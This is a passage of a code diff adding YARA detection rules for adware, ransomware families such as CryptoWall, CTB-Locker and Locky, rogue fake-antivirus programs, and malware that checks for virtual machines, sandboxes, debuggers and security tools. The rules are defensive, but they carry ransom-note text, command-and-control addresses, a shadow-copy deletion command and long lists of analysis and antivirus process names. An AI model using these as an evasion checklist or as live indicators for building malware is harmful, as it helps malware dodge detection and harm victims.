+		$ = "http://bi.softservers.net" ascii wide
+
+	condition:
+		any of them
+}rule PUPSystweakSample
+{
+	meta:
+		Description  = "PUP.Systweak.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "Systweak Software0" ascii wide
+		$ = "pc-updater.com/miscservice/miscservice.asmx" ascii wide
+
+	condition:
+		any of them
+}rule RansomCryptoApp_A
+{
+	meta:
+		Description  = "Ransom.CryptoApp.sm"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$pdb0 = "CryptoApp.pdb" ascii wide
+		$pdb1 = "KeepAlive.pdb" ascii wide
+		$pdb2 = "SelfDestroy.pdb" ascii wide
+		$pdb3 = "CoreDownloader.pdb" ascii wide
+
+	condition:
+		(3 of them) or (any of ($pdb*))
+}
+
+rule RansomCryptoWallApp_3
+{
+	meta:
+		Description  = "Ransom.CryptoWall.sm"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$s0 = "spatopayforwin.com" ascii wide
+		$s1 = "bythepaywayall.com" ascii wide
+		$s2 = "lowallmoneypool.com" ascii wide
+		$s3 = "transoptionpay.com" ascii wide
+		$s4 = "HELP_DECRYPT" ascii wide nocase
+
+		$s5 = "speralreaopio.com" ascii wide
+        $s6 = "vremlreafpa.com" ascii wide
+        $s7 = "wolfwallsreaetpay.com" ascii wide
+        $s8 = "askhoreasption.com" ascii wide
+
+	condition:
+		any of ($s*)
+}
+
+rule RansomCBTLockerApp
+{
+	meta:
+		Description  = "Ransom.CBTLocker.sm"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$s0 = "Your personal files are encrypted by CTB-Locker" ascii wide
+		$s1 = "Your documents, photos, databases and other important files have been encrypted with strongest encryption and unique key,generated for this computer" ascii wide
+		$s2 = "Private decryption key is stored on a secret Internet server and nobody can decrypt your files until you pay and obtain the private key." ascii wide
+		$s3 = "If you see the main locker window, follow the instructions on the locker. Overwise, it's seems that you or your antivirus deleted the locker program" ascii wide
+
+		$s6 = "keme132.DLL" ascii wide
+		$s7 = "klospad.pdb" ascii wide
+
+	condition:
+		(any of ($s*)) or (3 of them)
+}
+
+rule RansomEncryptorRaaSApp
+{
+	meta:
+		Description  = "Ransom.EncryptorRaaS.sm"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$s0 = "decryptoraveidf7.onion.to" ascii wide
+		$s1 = "encryptor_raas_readme_liesmich.txt" ascii wide
+		$s2 = "The files on your computer have been securely encrypted by Encryptor RaaS" ascii wide
+		$s3 = "Die Dateien auf Ihrem Computer wurden von Encryptor RaaS sicher verschluesselt" ascii wide
+		$s4 = "encryptor3awk6px.onion" ascii wide
+
+	condition:
+		any of ($s*)
+}
+
+rule RansomSampleTeslaCryptA
+{
+	meta:
+		Description  = "Ransom.TeslaCrypt.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "HOWTO_RESTORE_FILES.TXT" ascii wide nocase
+		$ = "HOWTO_RESTORE_FILES.bmp" ascii wide nocase
+		$ = "HOWTO_RESTORE_FILES.HTML" ascii wide nocase
+	condition:
+		any of them
+}
+
+rule RansomSampleTeslaCryptB
+{
+	meta:
+		Description  = "Ransom.TeslaCrypt.B.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "help_recover_instructions" ascii wide nocase
+		$ = "help_recover_instructions.TXT" ascii wide nocase
+		$ = "help_recover_instructions.png" ascii wide nocase
+	condition:
+		any of them
+}
+
+rule RansomSampleChimeraB
+{
+	meta:
+		Description  = "Ransom.Win32.Chimera.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "YOUR_FILES_ARE_ENCRYPTED.HTML" ascii wide nocase
+		$ = "Projects\\Ransom\\bin\\Release\\Core.pdb" ascii wide nocase
+		$ = "BM-2cW44Yq9DWbHYnRSfzBLVxvE6WjadchNBt" ascii wide nocase
+	condition:
+		any of them
+}
+
+rule RansomSampleLeChiffre
+{
+	meta:
+		Description  = "Ransom.Win32.LeChiffre.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "LeChiffre" ascii wide nocase
+		$ = "decrypt.my.files@gmail.com" ascii wide nocase
+		$ = "http://184.107.251.146/sipvoice.php?" ascii wide nocase
+		$ = "_secret_code.txt" ascii wide nocase
+		$ = "_How to decrypt LeChiffre files.html" ascii wide nocase
+	condition:
+		2 of them
+}
+
+rule RansomSampleHydraCrypt
+{
+	meta:
+		Description  = "Ransom.Win32.HydraCrypt.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "README_DECRYPT_HYDRA_ID_" ascii wide nocase
+		$ = "hydracrypt_ID_" ascii wide nocase
+		$ = "HYDRACRYPT" ascii wide nocase
+		$ = "ccc=hydra01_" ascii wide nocase
+	condition:
+		2 of them
+}
+
+rule RansomFilecoderA
+{
+	meta:
+		Description  = "Ransom.FileCoder.A.vb"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "Guji36" ascii wide
+		$ = "Burnamedoxi" ascii wide
+		$ = "S48H1G54JSPSODKMGdfH1FD5G8DSDPSDKMFSSJJPGMCNDHS2FH5" ascii wide
+	condition:
+		any of them
+}
+
+rule RansomSampleLockyCrypt
+{
+	meta:
+		Description  = "Ransom.Win32.Locky.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$s1 = ".locky" ascii wide nocase
+		$ = "&encrypted=" ascii wide nocase
+		$s2 = "_Locky_recover_instructions.txt" ascii wide nocase
+		$s3 = "_Locky_recover_instructions.bmp" ascii wide nocase
+		$ = "94.242.57.45" ascii wide nocase
+		$ = "46.4.239.76" ascii wide nocase
+		$s6 = "Software\\Locky" ascii wide nocase
+		$ = "vssadmin.exe Delete Shadows" ascii wide nocase
+		$ = "Locky" ascii wide nocase
+
+		$o1 = { 45 b8 99 f7 f9 0f af 45 b8 89 45 b8 } // address=0x4144a7
+		$o2 = { 2b 0a 0f af 4d f8 89 4d f8 c7 45 } // address=0x413863
+
+	condition:
+		(3 of them) or (any of ($s*)) or (all of ($o*))
+}
+
+import "pe"
+rule RansomLocky
+{
+	meta:
+		Description  = "Ransom.Locky.ab"
+		ThreatLevel  = "5"
+	strings:
+		$mz = { 4d 5a }
+
+		$inst1 = "_HELP_instructions.bmp" ascii wide
+		$inst2 = "_HELP_instructions.html" ascii wide
+		$inst3 = "_HELP_instructions.txt" ascii wide
+		$inst4 = "_Locky_recover_instructions.bmp" ascii wide
+		$inst5 = "_Locky_recover_instructions.txt" ascii wide
+		$deleteShadows = "vssadmin.exe" ascii wide // universal Ransom detect :)
+
+		$cyrptEP1 = {e8 95 23 ff ff 86 c8 86 ea e9 8d 23 ff ff 86 f4 e9 84 23 ff ff 86 c5} // EP paked locy
+		$cyrptEP2 = {55 8b ec eb 68 eb 66 eb 64 6a 00 6a 00 6a 00 6a 00 6a 00} // EP packed locy 2
+	
+	condition:
+		( $mz at 0 ) and 
+		(
+			$cyrptEP1 at pe.entry_point or
+			$cyrptEP2 at pe.entry_point or 
+			(any of ($inst*)) or 
+			$deleteShadows
+		)
+}
+
+rule RansomImportDetect
+{
+	meta:
+		Description  = "Ransom.Gen.ab"
+		ThreatLevel  = "3"
+	condition:
+		(pe.imports("Kernel32.dll", "FindFirstFileW") or pe.imports("Kernel32.dll", "FindFirstFileA")) and
+		(pe.imports("Kernel32.dll", "FindNextFileW") or pe.imports("Kernel32.dll", "FindNextFileA")) and
+		(pe.imports("Advapi32.dll", "CryptAcquireContextW") or pe.imports("Advapi32.dll", "CryptAcquireContextA")) and
+		pe.imports("Advapi32.dll", "CryptEncrypt") and
+		pe.imports("Advapi32.dll", "CryptGenRandom")
+}
+
+rule VMdetectMisc
+{
+	meta:
+		Description = "Risk.VMDtc.sm"
+		ThreatLevel = "3"
+
+	strings:
+		$vbox1 = "VBoxService" nocase ascii wide
+		$vbox2 = "VBoxTray" nocase ascii wide
+		$vbox3 = "SOFTWARE\\Oracle\\VirtualBox Guest Additions" nocase ascii wide
+		$vbox4 = "SOFTWARE\\\\Oracle\\\\VirtualBox Guest Additions" nocase ascii wide
+
+		$wine1 = "wine_get_unix_file_name" ascii wide
+
+		$vmware1 = "vmmouse.sys" ascii wide
+		$vmware2 = "VMware Virtual IDE Hard Drive" ascii wide
+
+		$miscvm1 = "SYSTEM\\ControlSet001\\Services\\Disk\\Enum" nocase ascii wide
+		$miscvm2 = "SYSTEM\\\\ControlSet001\\\\Services\\\\Disk\\\\Enum" nocase ascii wide
+
+		$vmdrv1 = "hgfs.sys" ascii wide
+		$vmdrv2 = "vmhgfs.sys" ascii wide
+		$vmdrv3 = "prleth.sys" ascii wide
+		$vmdrv4 = "prlfs.sys" ascii wide
+		$vmdrv5 = "prlmouse.sys" ascii wide
+		$vmdrv6 = "prlvideo.sys" ascii wide
+		$vmdrv7 = "prl_pv32.sys" ascii wide
+		$vmdrv8 = "vpc-s3.sys" ascii wide
+		$vmdrv9 = "vmsrvc.sys" ascii wide
+		$vmdrv10 = "vmx86.sys" ascii wide
+		$vmdrv11 = "vmnet.sys" ascii wide
+
+		$vmsrvc1 = "vmicheartbeat" ascii wide
+		$vmsrvc2 = "vmicvss" ascii wide
+		$vmsrvc3 = "vmicshutdown" ascii wide
+		$vmsrvc4 = "vmicexchange" ascii wide
+		$vmsrvc5 = "vmci" ascii wide
+		$vmsrvc6 = "vmdebug" ascii wide
+		$vmsrvc7 = "vmmouse" ascii wide
+		$vmsrvc8 = "VMTools" ascii wide
+		$vmsrvc9 = "VMMEMCTL" ascii wide
+		$vmsrvc10 = "vmware" ascii wide
+		$vmsrvc11 = "vmx86" ascii wide
+		$vmsrvc12 = "vpcbus" ascii wide
+		$vmsrvc13 = "vpc-s3" ascii wide
+		$vmsrvc14 = "vpcuhub" ascii wide
+		$vmsrvc15 = "msvmmouf" ascii wide
+		$vmsrvc16 = "VBoxMouse" ascii wide
+		$vmsrvc17 = "VBoxGuest" ascii wide
+		$vmsrvc18 = "VBoxSF" ascii wide
+		$vmsrvc19 = "xenevtchn" ascii wide
+		$vmsrvc20 = "xennet" ascii wide
+		$vmsrvc21 = "xennet6" ascii wide
+		$vmsrvc22 = "xensvc" ascii wide
+		$vmsrvc23 = "xenvdb" ascii wide
+
+		$miscproc1 = "vmware2" ascii wide
+		$miscproc2 = "vmount2" ascii wide
+		$miscproc3 = "vmusrvc" ascii wide
+		$miscproc4 = "vmsrvc" ascii wide
+		$miscproc5 = "vboxservice" ascii wide
+		$miscproc6 = "vboxtray" ascii wide
+		$miscproc7 = "xenservice" ascii wide
+
+		$vmware_mac_1a = "00-05-69"
+		$vmware_mac_1b = "00:05:69"
+		$vmware_mac_2a = "00-50-56"
+		$vmware_mac_2b = "00:50:56"
+		$vmware_mac_3a = "00-0C-29"
+		$vmware_mac_3b = "00:0C:29"
+		$vmware_mac_4a = "00-1C-14"
+		$vmware_mac_4b = "00:1C:14"
+		$virtualbox_mac_1a = "08-00-27"
+		$virtualbox_mac_1b = "08:00:27"
+
+	condition:
+		2 of them
+}
+
+rule SandboxDetectMisc
+{
+	meta:
+		Description = "Risk.SBDtc.sm"
+		ThreatLevel = "3"
+
+	strings:
+		$sbxie1 = "sbiedll" nocase ascii wide
+
+		$prodid1 = "55274-640-2673064-23950" ascii wide
+		$prodid2 = "76487-644-3177037-23510" ascii wide
+		$prodid3 = "76487-337-8429955-22614" ascii wide
+
+		$proc1 = "joeboxserver" ascii wide
+		$proc2 = "joeboxcontrol" ascii wide
+	condition:
+		any of them
+}
+
+rule avdetect_procs
+{
+	meta:
+		Description = "Risk.AVDtc.sm"
+		ThreatLevel = "3"
+
+	strings:
+		$proc2 = "LMon.exe" ascii wide
+		$proc3 = "sagui.exe" ascii wide
+		$proc4 = "RDTask.exe" ascii wide
+		$proc5 = "kpf4gui.exe" ascii wide
+		$proc6 = "ALsvc.exe" ascii wide
+		$proc7 = "pxagent.exe" ascii wide
+		$proc8 = "fsma32.exe" ascii wide
+		$proc9 = "licwiz.exe" ascii wide
+		$proc10 = "SavService.exe" ascii wide
+		$proc11 = "prevxcsi.exe" ascii wide
+		$proc12 = "alertwall.exe" ascii wide
+		$proc13 = "livehelp.exe" ascii wide
+		$proc14 = "SAVAdminService.exe" ascii wide
+		$proc15 = "csi-eui.exe" ascii wide
+		$proc16 = "mpf.exe" ascii wide
+		$proc17 = "lookout.exe" ascii wide
+		$proc18 = "savprogress.exe" ascii wide
+		$proc19 = "lpfw.exe" ascii wide
+		$proc20 = "mpfcm.exe" ascii wide
+		$proc21 = "emlproui.exe" ascii wide
+		$proc22 = "savmain.exe" ascii wide
+		$proc23 = "outpost.exe" ascii wide
+		$proc24 = "fameh32.exe" ascii wide
+		$proc25 = "emlproxy.exe" ascii wide
+		$proc26 = "savcleanup.exe" ascii wide
+		$proc27 = "filemon.exe" ascii wide
+		$proc28 = "AntiHook.exe" ascii wide
+		$proc29 = "endtaskpro.exe" ascii wide
+		$proc30 = "savcli.exe" ascii wide
+		$proc31 = "procmon.exe" ascii wide
+		$proc32 = "xfilter.exe" ascii wide
+		$proc33 = "netguardlite.exe" ascii wide
+		$proc34 = "backgroundscanclient.exe" ascii wide
+		$proc35 = "Sniffer.exe" ascii wide
+		$proc36 = "scfservice.exe" ascii wide
+		$proc37 = "oasclnt.exe" ascii wide
+		$proc38 = "sdcservice.exe" ascii wide
+		$proc39 = "acs.exe" ascii wide
+		$proc40 = "scfmanager.exe" ascii wide
+		$proc41 = "omnitray.exe" ascii wide
+		$proc42 = "sdcdevconx.exe" ascii wide
+		$proc43 = "aupdrun.exe" ascii wide
+		$proc44 = "spywaretermin" ascii wide
+		$proc45 = "atorshield.exe" ascii wide
+		$proc46 = "onlinent.exe" ascii wide
+		$proc47 = "sdcdevconIA.exe" ascii wide
+		$proc48 = "sppfw.exe" ascii wide
+		$proc49 = "spywat~1.exe" ascii wide
+		$proc50 = "opf.exe" ascii wide
+		$proc51 = "sdcdevcon.exe" ascii wide
+		$proc52 = "spfirewallsvc.exe" ascii wide
+		$proc53 = "ssupdate.exe" ascii wide
+		$proc54 = "pctavsvc.exe" ascii wide
+		$proc55 = "configuresav.exe" ascii wide
+		$proc56 = "fwsrv.exe" ascii wide
+		$proc57 = "terminet.exe" ascii wide
+		$proc58 = "pctav.exe" ascii wide
+		$proc59 = "alupdate.exe" ascii wide
+		$proc60 = "opfsvc.exe" ascii wide
+		$proc61 = "tscutynt.exe" ascii wide
+		$proc62 = "pcviper.exe" ascii wide
+		$proc63 = "InstLsp.exe" ascii wide
+		$proc64 = "uwcdsvr.exe" ascii wide
+		$proc65 = "umxtray.exe" ascii wide
+		$proc66 = "persfw.exe" ascii wide
+		$proc67 = "CMain.exe" ascii wide
+		$proc68 = "dfw.exe" ascii wide
+		$proc69 = "updclient.exe" ascii wide
+		$proc70 = "pgaccount.exe" ascii wide
+		$proc71 = "CavAUD.exe" ascii wide
+		$proc72 = "ipatrol.exe" ascii wide
+		$proc73 = "webwall.exe" ascii wide
+		$proc74 = "privatefirewall3.exe" ascii wide
+		$proc75 = "CavEmSrv.exe" ascii wide
+		$proc76 = "pcipprev.exe" ascii wide
+		$proc77 = "winroute.exe" ascii wide
+		$proc78 = "protect.exe" ascii wide
+		$proc79 = "Cavmr.exe" ascii wide
+		$proc80 = "prifw.exe" ascii wide
+		$proc81 = "apvxdwin.exe" ascii wide
+		$proc82 = "rtt_crc_service.exe" ascii wide
+		$proc83 = "Cavvl.exe" ascii wide
+		$proc84 = "tzpfw.exe" ascii wide
+		$proc85 = "as3pf.exe" ascii wide
+		$proc86 = "schedulerdaemon.exe" ascii wide
+		$proc87 = "CavApp.exe" ascii wide
+		$proc88 = "privatefirewall3.exe" ascii wide
+		$proc89 = "avas.exe" ascii wide
+		$proc90 = "sdtrayapp.exe" ascii wide
+		$proc91 = "CavCons.exe" ascii wide
+		$proc92 = "pfft.exe" ascii wide
+		$proc93 = "avcom.exe" ascii wide
+		$proc94 = "siteadv.exe" ascii wide
+		$proc95 = "CavMud.exe" ascii wide
+		$proc96 = "armorwall.exe" ascii wide
+		$proc97 = "avkproxy.exe" ascii wide
+		$proc98 = "sndsrvc.exe" ascii wide
+		$proc99 = "CavUMAS.exe" ascii wide
+		$proc100 = "app_firewall.exe" ascii wide
+		$proc101 = "avkservice.exe" ascii wide
+		$proc102 = "snsmcon.exe" ascii wide
+		$proc103 = "UUpd.exe" ascii wide
+		$proc104 = "blackd.exe" ascii wide
+		$proc105 = "avktray.exe" ascii wide
+		$proc106 = "snsupd.exe" ascii wide
+		$proc107 = "cavasm.exe" ascii wide
+		$proc108 = "blackice.exe" ascii wide
+		$proc109 = "avkwctrl.exe" ascii wide
+		$proc110 = "procguard.exe" ascii wide
+		$proc111 = "CavSub.exe" ascii wide
+		$proc112 = "umxagent.exe" ascii wide
+		$proc113 = "avmgma.exe" ascii wide
+		$proc114 = "DCSUserProt.exe" ascii wide
+		$proc115 = "CavUserUpd.exe" ascii wide
+		$proc116 = "kpf4ss.exe" ascii wide
+		$proc117 = "avtask.exe" ascii wide
+		$proc118 = "avkwctl.exe" ascii wide
+		$proc119 = "CavQ.exe" ascii wide
+		$proc120 = "tppfdmn.exe" ascii wide
+		$proc121 = "aws.exe" ascii wide
+		$proc122 = "firewall.exe" ascii wide
+		$proc123 = "Cavoar.exe" ascii wide
+		$proc124 = "blinksvc.exe" ascii wide
+		$proc125 = "bgctl.exe" ascii wide
+		$proc126 = "THGuard.exe" ascii wide
+		$proc127 = "CEmRep.exe" ascii wide
+		$proc128 = "sp_rsser.exe" ascii wide
+		$proc129 = "bgnt.exe" ascii wide
+		$proc130 = "spybotsd.exe" ascii wide
+		$proc131 = "OnAccessInstaller.exe" ascii wide
+		$proc132 = "op_mon.exe" ascii wide
+		$proc133 = "bootsafe.exe" ascii wide
+		$proc134 = "xauth_service.exe" ascii wide
+		$proc135 = "SoftAct.exe" ascii wide
+		$proc136 = "cmdagent.exe" ascii wide
+		$proc137 = "bullguard.exe" ascii wide
+		$proc138 = "xfilter.exe" ascii wide
+		$proc139 = "CavSn.exe" ascii wide
+		$proc140 = "VCATCH.EXE" ascii wide
+		$proc141 = "cdas2.exe" ascii wide
+		$proc142 = "zlh.exe" ascii wide
+		$proc143 = "Packetizer.exe" ascii wide
+		$proc144 = "SpyHunter3.exe" ascii wide
+		$proc145 = "cmgrdian.exe" ascii wide
+		$proc146 = "adoronsfirewall.exe" ascii wide
+		$proc147 = "Packetyzer.exe" ascii wide
+		$proc148 = "wwasher.exe" ascii wide
+		$proc149 = "configmgr.exe" ascii wide
+		$proc150 = "scfservice.exe" ascii wide
+		$proc151 = "zanda.exe" ascii wide
+		$proc152 = "authfw.exe" ascii wide
+		$proc153 = "cpd.exe" ascii wide
+		$proc154 = "scfmanager.exe" ascii wide
+		$proc155 = "zerospywarele.exe" ascii wide
+		$proc156 = "dvpapi.exe" ascii wide
+		$proc157 = "espwatch.exe" ascii wide
+		$proc158 = "dltray.exe" ascii wide
+		$proc159 = "zerospywarelite_installer.exe" ascii wide
+		$proc160 = "clamd.exe" ascii wide
+		$proc161 = "fgui.exe" ascii wide
+		$proc162 = "dlservice.exe" ascii wide
+		$proc163 = "Wireshark.exe" ascii wide
+		$proc164 = "sab_wab.exe" ascii wide
+		$proc165 = "filedeleter.exe" ascii wide
+		$proc166 = "ashwebsv.exe" ascii wide
+		$proc167 = "tshark.exe" ascii wide
+		$proc168 = "SUPERAntiSpyware.exe" ascii wide
+		$proc169 = "firewall.exe" ascii wide
+		$proc170 = "ashdisp.exe" ascii wide
+		$proc171 = "rawshark.exe" ascii wide
+		$proc172 = "vdtask.exe" ascii wide
+		$proc173 = "firewall2004.exe" ascii wide
+		$proc174 = "ashmaisv.exe" ascii wide
+		$proc175 = "Ethereal.exe" ascii wide
+		$proc176 = "asr.exe" ascii wide
+		$proc177 = "firewallgui.exe" ascii wide
+		$proc178 = "ashserv.exe" ascii wide
+		$proc179 = "Tethereal.exe" ascii wide
+		$proc180 = "NetguardLite.exe" ascii wide
+		$proc181 = "gateway.exe" ascii wide
+		$proc182 = "aswupdsv.exe" ascii wide
+		$proc183 = "Windump.exe" ascii wide
+		$proc184 = "nstzerospywarelite.exe" ascii wide
+		$proc185 = "hpf_.exe" ascii wide
+		$proc186 = "avastui.exe" ascii wide
+		$proc187 = "Tcpdump.exe" ascii wide
+		$proc188 = "cdinstx.exe" ascii wide
+		$proc189 = "iface.exe" ascii wide
+		$proc190 = "avastsvc.exe" ascii wide
+		$proc191 = "Netcap.exe" ascii wide
+		$proc192 = "cdas17.exe" ascii wide
+		$proc193 = "invent.exe" ascii wide
+		$proc194 = "Netmon.exe" ascii wide
+		$proc195 = "fsrt.exe" ascii wide
+		$proc196 = "ipcserver.exe" ascii wide
+		$proc197 = "CV.exe" ascii wide
+		$proc198 = "VSDesktop.exe" ascii wide
+		$proc199 = "ipctray.exe" ascii wide
+	condition:
+		3 of them
+}
+
+
+rule dbgdetect_procs
+{
+	meta:
+		Description = "Risk.DbgDtc.sm"
+		ThreatLevel = "3"
+
+	strings:
+		$proc1 = "wireshark" nocase ascii wide
+		$proc2 = "filemon" nocase ascii wide
+		$proc3 = "procexp" nocase ascii wide
+		$proc4 = "procmon" nocase ascii wide
+		$proc5 = "regmon" nocase ascii wide
+		$proc6 = "idag" nocase ascii wide
+		$proc7 = "immunitydebugger" nocase ascii wide
+		$proc8 = "ollydbg" nocase ascii wide
+		$proc9 = "petools" nocase ascii wide
+
+	condition:
+		2 of them
+}
+
+rule dbgdetect_files
+{
+	meta:
+		Description = "Risk.DbgDtc.sm"
+		ThreatLevel = "3"
+
+	strings:
+		$file1 = "syserdbgmsg" nocase ascii wide
+		$file2 = "syserboot" nocase ascii wide
+		$file3 = "SICE" nocase ascii wide
+		$file4 = "NTICE" nocase ascii wide
+	condition:
+		2 of them
+}rule RiskNetFilterSampleA
+{
+	meta:
+		Description  = "Risk.NetFilter.A.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\epfwwfp" ascii wide
+        $ = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\epfwwfpr" ascii wide
+        $ = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\nisdrv" ascii wide
+        $ = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\symnets" ascii wide
+        $ = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\klwfp" ascii wide
+        $ = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\amoncdw8" ascii wide
+        $ = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\amoncdw7" ascii wide
+        $ = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\bdfwfpf_pc" ascii wide
+        $ = "NFSDK Flow Established Callout" ascii wide
+        $ = "Flow Established Callout" ascii wide
+        $ = "NFSDK Stream Callout" ascii wide
+        $ = "Stream Callout" ascii wide
+        $ = "\\Device\\CtrlSM" ascii wide
+        $ = "\\DosDevices\\CtrlSM" ascii wide
+
+	condition:
+		all of them
+}
+rule RogueDownloaderLoaderAVSoftA
+{
+	meta:
+		Description  = "Trojan.Loader.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "/info.php?idd=" ascii wide
+		$ = "{95B8F20E-4BC6-4E22-9442-BFB69ED62879}" ascii wide
+		//$ = "CheckExeSignatures" ascii wide
+		//$ = "RunInvalidSignatures" ascii wide
+		$ = "ELEVATECREATEPROCESS" ascii wide
+		$ = "srvdev.dll" ascii wide
+		//$ = "EntryPoint" ascii wide
+
+	condition:
+		3 of them
+}
+
+rule RogueModuleAVSoftA
+{
+	meta:
+		Description  = "Rogue.AVSoft.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "sec-red-alert-s.gif" ascii wide
+		$ = "sec-red-alert-b.gif" ascii wide
+		$ = "scaning.gif" ascii wide
+		$ = "scaning-stopped.gif" ascii wide
+		$ = "rezult-table-head-bg.gif" ascii wide
+		$ = "banner-get-protection.gif" ascii wide
+		$ = "netalrt.htm" ascii wide
+		$ = "alrt.htm" ascii wide
+
+		$hex1 = { e8 ?? ?? ?? ?? 83 ?? ?? ?? ?? 74 ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? e8 ?? ?? ?? ?? 3b ?? ?? ?? ?? ?? 73 ?? e8 ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 84 c0 75 ?? e8 ?? ?? ?? ?? 6a 1e 99 59 f7 f9 83 c2 14 69 d2 60 ea 00 00 52 ff d7 e8 ?? ?? ?? ?? 83 f8 01 75 ?? e8 ?? ?? ?? ??}
+
+	condition:
+		(3 of them) or ( any of ($hex*))
+}
+rule RogueBraviaxSampleA
+{
+    meta:
+        Description = "Rogue.Braviax.sm"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "background_gradient_red.jpg" ascii wide
+		$ = "red_shield_48.png" ascii wide
+		$ = "pagerror.gif" ascii wide
+		$ = "green_shield.png" ascii wide
+		$ = "refresh.gif" ascii wide
+		$ = "red_shield.png" ascii wide
+		$ = "avp:scan" ascii wide
+		$ = "avp:site" ascii wide
+		$str1 = "Trojan-BNK.Win32.Keylogger.gen" ascii wide
+		$str2 = "Trojan-PSW.Win32.Coced.219" ascii wide
+		$str3 = "Email-Worm.Win32.Eyeveg.f" ascii wide
+		$str4 = "Virus.BAT.Batalia1.840" ascii wide
+		$str5 = "Trojan-SMS.SymbOS.Viver.a" ascii wide
+		$str6 = "Trojan-Spy.HTML.Bankfraud.jk" ascii wide
+		$str7 = "glohhstt7.com" ascii wide
+		//$str8 = "Zorton" ascii wide
+		//$str9 = "Rango" ascii wide
+		//$str10 = "Sirius" ascii wide
+		//$str11 = "A-Secure" ascii wide
+		$str12 = "%1 Protection 201" ascii wide
+		$str13 = "%1 Antivirus 201" ascii wide
+		$str14 = "siriuc2014.com" ascii wide
+		$str15 = "siriucs2016.com" ascii wide
+		$str16 = "zorton2016.com" ascii wide
+		$str17 = "zorton2015.com" ascii wide
+		$str18 = "stormo10.com" ascii wide
+		$str19 = "fscurat20.com" ascii wide
+		$str20 = "fscurat21.com" ascii wide
+
+    condition:
+        (3 of them) or (any of ($str*))
+}rule RogueFakePAVSample
+{
+    meta:
+        Description = "Rogue.FakePAV.sm"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "ZALERT" ascii wide
+		$ = "ZAPFrm" ascii wide
+		$ = "ZAbout" ascii wide
+		$ = "ZAutoRunFrame" ascii wide
+		$ = "ZCheckBox" ascii wide
+		$ = "ZCplAll" ascii wide
+		$ = "ZFogWnd" ascii wide
+		$ = "ZFrameDEt" ascii wide
+		$ = "ZIEWnd" ascii wide
+		$ = "ZMainFrame" ascii wide
+		$ = "ZMainWnd" ascii wide
+		$ = "ZOptionsFrame" ascii wide
+		$ = "ZProcessFrame" ascii wide
+		$ = "ZProgressBar" ascii wide
+		$ = "ZPromo" ascii wide
+		$ = "ZReg" ascii wide
+		$ = "ZResFR" ascii wide
+		$ = "ZServiceFrame" ascii wide
+		$ = "ZUpdate" ascii wide
+		$ = "ZWarn" ascii wide
+
+    condition:
+        any of them
+}rule RogueFakeDefenderSample
+{
+	meta:
+		Description  = "Rogue.FakeDef.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$a = "pcdfdata" 		ascii wide
+		$b = "toplevel_pcdef" 	ascii wide
+		
+		$ = "%spld%d.exe" ascii wide
+		$ = "avsrun.exe" ascii wide
+		$ = "avsdel.exe" ascii wide
+		
+		$ = "vl.bin" ascii wide
+		$ = "reginfo.bin" ascii wide
+		
+		$ = "%s%s.lnk" ascii wide
+		$ = "%sRemove %s.lnk" ascii wide
+		$ = "Uninstaller application" ascii wide
+		$ = "%s%s Help and Support.lnk" ascii wide
+		
+		$ = "pavsdata" ascii wide
+		$ = "avsmainwnd" ascii wide
+		$ = "avsdsvc" ascii wide
+		$ = "ovcf" ascii wide
+		
+		$ = "Global\\avsinst" ascii wide
+		$ = "Global\\avscfglock" ascii wide
+		$ = "\\loc\\reg\\conn\\activate" ascii wide
+		$ = "\\forms\\alerts\\vulner" ascii wide
+		$ = "\\forms\\alerts\\hack" ascii wide
+		
+		$ = "Software\\Classes\\.exe" ascii wide
+		
+		$ = "%s was infected with %s and has been successfully repaired" ascii wide
+		$ = "Attack %s from remote host %d.%d.%d.%d has been successfully blocked" ascii wide
+			
+		$ = "http://%s/api/ping?stage=1&uid=%S&id=%d&subid=%d&os=%d&avf=%d" ascii wide
+		$ = "http://%s/api/ping?stage=2&uid=%S&success=%d" ascii wide
+		$ = "http://%s/api/ping?stage=3&uid=%S" ascii wide
+		$ = "http://%s/content/scc" ascii wide
+		$ = "http://%s/postload2/?uid=%S" ascii wide
+		$ = "http://%S/api/test" ascii wide
+		$ = "http://%s/load/?uid=%S" ascii wide
+		$ = "http://%s/html/viruslist/?uid=%S" ascii wide
+		$ = "https://%s/billing/key/?uid=%S" ascii wide
+		$ = "https://%s/html/billing/?uid=%S" ascii wide
+
+	condition:
+		3 of them
+}
+
+rule RogueFakeReanInternetSecuritySample
+{
+	meta:
+		Description  = "Rogue.FakeRean.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "VB82ea936a-6aa61dbf" ascii wide
+		$ = "VBOX HARDDISK" ascii wide
+		$ = "avbase.dat" ascii wide
+		$ = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide
+		$ = "ORDER #:" ascii wide
+		$ = "Thank you, the program is now registered!" ascii wide
+		$ = "To continue please restart the program. Press OK to close the program." ascii wide
+		$ = "Wrong activation code! Please check and retry" ascii wide
+		$ = "license. As soon as you complete the activation you will" ascii wide
+		$ = "This option is available only in the activated version of " ascii wide
+		$ = "You must activate the program by entering registration information " ascii wide
+		$ = "has detected that a new Threat Database is available." ascii wide
+		$ = "items are critical privacy compromising content"
